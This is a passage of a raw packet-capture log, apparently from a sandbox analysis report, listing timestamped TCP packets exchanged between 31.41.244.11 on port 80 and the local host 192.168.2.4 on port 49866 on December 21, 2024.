Dec 21, 2024 18:16:48.090847015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.090909004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.090924978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.090972900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.091790915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.091852903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.091881990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.091896057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.092552900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.092607021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.092627048 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.092678070 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.093494892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.093552113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.093614101 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.093663931 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.094611883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.094666004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.094727993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.094805002 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.095719099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.095778942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.095841885 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.095891953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.096999884 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.097047091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.097084045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.097134113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.097929955 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.097981930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.098028898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.098229885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.099179983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.099232912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.099275112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.099504948 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.100225925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.100300074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.100353003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.100400925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.101306915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.101383924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.101430893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.101492882 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.102344990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.102399111 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.102478981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.102535963 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.103558064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.103624105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.103693008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.103739977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.104641914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.104691982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.104746103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.104800940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.105720997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.105775118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.105838060 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.105885983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.107009888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.107073069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.107270956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.107331038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.108494043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.108546972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.108719110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.108760118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.109684944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.109749079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.109810114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.109867096 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.110594988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.110687971 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.110740900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.111532927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.111586094 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.111655951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.111705065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.112579107 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.112633944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.112704039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.112756014 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.113605976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.113656044 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.113729954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.113785028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.114686012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.114737034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.114810944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.114891052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.115746975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.115799904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.115818977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.115844965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.116895914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.116947889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.117017031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.117072105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.117984056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.118031025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.118081093 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.118134022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.119270086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.119328976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.119384050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.119477034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.120357990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.120425940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.120480061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.120524883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.121495008 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.121557951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.121633053 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.121689081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.122631073 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.122734070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.122746944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.122821093 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.123743057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.123799086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.123864889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.125216007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.125271082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.125334978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.125386000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.126416922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.126482010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.126501083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.126528025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.127626896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.127661943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.127717018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.128501892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.128556013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.128556967 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.128604889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.129398108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.129450083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.129493952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.129632950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.130372047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.130426884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.130531073 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.130669117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.131489992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.131545067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.131613016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.131661892 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.132457972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.132514000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.132590055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.132637978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.133748055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.133816957 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.133840084 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.133888006 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.134675026 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.134751081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.134812117 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.134860039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.135737896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.135831118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.269948959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.270023108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.270024061 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.270061016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.270100117 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.270248890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.270250082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.270250082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.270832062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.270904064 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.270917892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.270965099 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.271909952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.272048950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.272084951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.272100925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.273000956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.273128986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.273175001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.273195982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.274234056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.274295092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.274327040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.274441957 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.275245905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.275300980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.275367975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.275439978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.276324987 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.276381016 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.276448011 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.276489019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.277466059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.277590036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.277640104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.278588057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.278723001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.278779984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.279690981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.279808998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.279865026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.280829906 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.280970097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.281030893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.281918049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.282059908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.282114983 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.283015013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.283067942 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.283144951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.283216000 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.284149885 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.284224987 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.284261942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.284509897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.285288095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.285346031 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.285399914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.285448074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.286372900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.286434889 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.286495924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.286576033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.287508011 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.287621021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.287681103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.288611889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.288676023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.288738012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.288791895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.289720058 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.289772987 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.289834976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.289978027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.290848017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.290949106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.290998936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.291059971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.292078972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.292186022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.292197943 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.292231083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.293200970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.293268919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.293297052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.293395042 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.294356108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.294409037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.294428110 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.294456005 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.295553923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.295608997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.295675993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.296670914 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.296726942 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.296744108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.296791077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.297836065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.297890902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.297895908 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.297936916 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.298665047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.298752069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.298767090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.298810005 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.299838066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.299901962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.300045967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.300101995 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.300908089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.300981998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.301012039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.301203966 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.301980019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.302047968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.302086115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.302198887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.303106070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.303174019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.303235054 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.303284883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.304194927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.304292917 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.304341078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.304400921 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.305336952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.305391073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.305450916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.305505991 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.306456089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.306514025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.306579113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.306621075 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.307617903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.307728052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.307749987 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.307956934 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.308733940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.308789968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.308855057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.309017897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.309799910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.309853077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.309854984 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.309911013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.310903072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.310972929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.311036110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.311084032 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.312033892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.312186956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.312192917 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.312249899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.314213037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.314336061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.314343929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.314372063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.314378023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.314409018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.314421892 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.314460993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.315376043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.315500021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.315529108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.315543890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.316468000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.316524982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.316657066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.316780090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.317578077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.317627907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.317739010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.317786932 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.319056988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.319112062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.319120884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.319159031 CET	49866	80	192.168.2.4	31.41.244.11
